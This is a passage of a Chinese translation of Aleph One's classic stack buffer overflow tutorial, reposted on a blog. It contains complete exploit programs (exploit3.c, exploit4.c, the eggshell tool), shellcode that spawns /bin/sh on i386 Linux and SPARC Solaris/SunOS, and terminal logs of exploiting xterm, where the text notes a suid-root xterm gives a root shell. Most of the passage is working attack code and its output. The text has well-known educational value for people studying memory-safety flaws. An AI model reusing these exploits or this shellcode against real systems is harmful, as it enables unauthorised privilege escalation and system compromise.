------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
正如我們所看到的, 這并不是一個很有效率的過程. 即使知道了堆棧的起始地址, 嘗
試猜測偏移量也幾乎是不可能的. 我們很可能要試驗(yàn)幾百次, 沒準(zhǔn)幾千次也說不定. 問題
的關(guān)鍵在于我們必須*確切*地知道我們代碼開始的地址. 如果偏差哪怕只有一個字節(jié)我們
也只能得到段錯誤或非法指令錯誤. 提高成功率的一種方法是在我們溢出緩沖區(qū)的前段填
充NOP指令. 幾乎所有的處理器都有NOP指令執(zhí)行空操作. 常用于延時目的. 我們利用它來
填充溢出緩沖區(qū)的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我們足夠
幸運(yùn)的話, 返回地址指到NOPs字串的任何位置, NOP指令就會執(zhí)行, 直到碰到我們的
shellcode. 在Intel體系結(jié)構(gòu)中NOP指令只有一個字節(jié)長, 翻譯為機(jī)器碼是0x90. 假定堆棧
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆棧看起來是這樣:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
堆棧頂端 堆棧底部
新的破解程序如下:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
我們所使用的緩沖區(qū)大小最好比要使其溢出的緩沖區(qū)大100字節(jié)左右. 我們在要使其
溢出的緩沖區(qū)尾部放置shellcode, 為NOP指令留下足夠的空間, 仍然使用我們推測的地址
來覆蓋返回地址. 這里我們要使其溢出的緩沖區(qū)大小是512字節(jié), 所以我們使用612字節(jié).
現(xiàn)在使用新的破解程序來使我們的測試程序溢出:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
哇!一擊中的!這個改進(jìn)成千倍地提高了我們的命中率. 下面在真實(shí)的環(huán)境中嘗試一
下緩沖區(qū)溢出. 在Xt庫上運(yùn)用我們所講述的方法. 在例子中, 我們使用xterm(實(shí)際上所有
連接Xt庫的程序都有漏洞). 計(jì)算機(jī)上要運(yùn)行X Server并且允許本地的連接. 還要相應(yīng)設(shè)
置DISPLAY變量.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
いいいいいいいいいいいいいいいいいいいいいいいいい¤
(此處截短多行輸出)
いいいいいいいいいいい?いいいい
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/sh
¤
(此處截短多行輸出)
縃arning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/sh鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗
鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗?
(此處截短多行輸出)
縏鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸚arning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
尤里卡! 僅僅幾次嘗試我們就成功了!如果xterm是帶suid root安裝的, 我們就已經(jīng)
得到了一個root shell了.
小緩沖區(qū)的溢出
~~~~~~~~~~~~~~~~
有時候想使其溢出的緩沖區(qū)太小了, 以至于shellcode都放不進(jìn)去, 這樣返回地址就
會被指令所覆蓋, 而不是我們所推測的地址, 或者shellcode是放進(jìn)去了, 但是沒法填充
足夠多的NOP指令, 這樣推測地址的成功率就很低了. 要從這樣的程序(小緩沖區(qū))里得到
一個shell, 我們必須得想其他辦法. 下面介紹的這種方法只在能夠訪問程序的環(huán)境變量
時有效.
我們所做的就是把shellcode放到環(huán)境變量中去, 然后用這個變量在內(nèi)存中的地址來
使緩沖區(qū)溢出. 這種方法同時也提高了破解工作的成功率, 因?yàn)楸4鎠hellcode的環(huán)境變
量想要多大就有多大.
當(dāng)程序開始時, 環(huán)境變量存儲在堆棧的頂部, 任何使用setenv()的修改動作會在其他
地方重新分配空間. 開始時的堆棧如下所示:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我們新的程序會使用一個額外的變量, 變量的大小能夠容納shellcode和NOP指令,
新的破解程序如下所示:
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
用這個新的破解程序來試試我們的漏洞測試程序:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
成功了, 再試試xterm:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
(此處截短多行輸出)
挨挨挨
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
一次成功! 它顯著提高了我們的成功率. 依賴于破解程序和被破解程序比較環(huán)境數(shù)據(jù)
的多少, 我們推測的地址可能高也可能低于真值. 正和負(fù)的偏移量都可以試一試.
尋找緩沖區(qū)溢出漏洞
~~~~~~~~~~~~~~~~~~~~~
如前所述, 緩沖區(qū)溢出是向一個緩沖區(qū)填充超過其處理能力的信息造成的結(jié)果. 由于C
語言沒有任何內(nèi)置的邊界檢查, 寫入一個字符數(shù)組時, 如果超越了數(shù)組的結(jié)尾就會造成溢
出. 標(biāo)準(zhǔn)C語言庫提供了一些沒有邊界檢查的字符串復(fù)制或添加函數(shù). 包括strcat(),
strcpy(), sprintf(), and vsprintf(). 這些函數(shù)對一個null結(jié)尾的字符串進(jìn)行操作, 并
不檢查溢出情況. gets()函數(shù)從標(biāo)準(zhǔn)輸入中讀取一行到緩沖區(qū)中, 直到換行或EOF. 它也不
檢查緩沖區(qū)溢出. scanf()函數(shù)族在匹配一系列非空格字符(%s), 或從指定集合(%[])中匹
配非空系列字符時, 使用字符指針指向數(shù)組, 并且沒有定義最大字段寬度這個可選項(xiàng), 就
可能出現(xiàn)問題. 如果這些函數(shù)的目標(biāo)地址是一個固定大小的緩沖區(qū), 函數(shù)的另外參數(shù)是由
用戶以某種形式輸入, 則很有可能利用緩沖區(qū)溢出來破解它.
另一種常見的編程結(jié)構(gòu)是使用while循環(huán)從標(biāo)準(zhǔn)輸入或某個文件中一次讀入一個字符到
緩沖區(qū)中, 直到行尾或文件結(jié)尾, 或者碰到別的什么終止符. 這種結(jié)構(gòu)通常使用getc(),
fgetc(), 或getchar()函數(shù)中的某一個. 如果在while循環(huán)中沒有明確的溢出檢查, 這種程
序就很容易被破解.
由此可見, grep(1)是一個很好的工具命令(幫助你找到程序中可能有的漏洞). 自由操
作系統(tǒng)及其工具的源碼是可讀的. 當(dāng)你意識到其實(shí)很多商業(yè)操作系統(tǒng)工具都和自由軟件有
著相同的源碼時, 剩下的事情就簡單了! :-)
附錄 A - 不同操作系統(tǒng)/體系結(jié)構(gòu)的shellcode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
附錄 B - 通用緩沖區(qū)溢出程序
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offs
et>]\n");
}
posted on 2005-12-10 11:11
R.Zeus 閱讀(555)
評論(0) 編輯 收藏 所屬分類:
常用Windows指令 、
BufferOver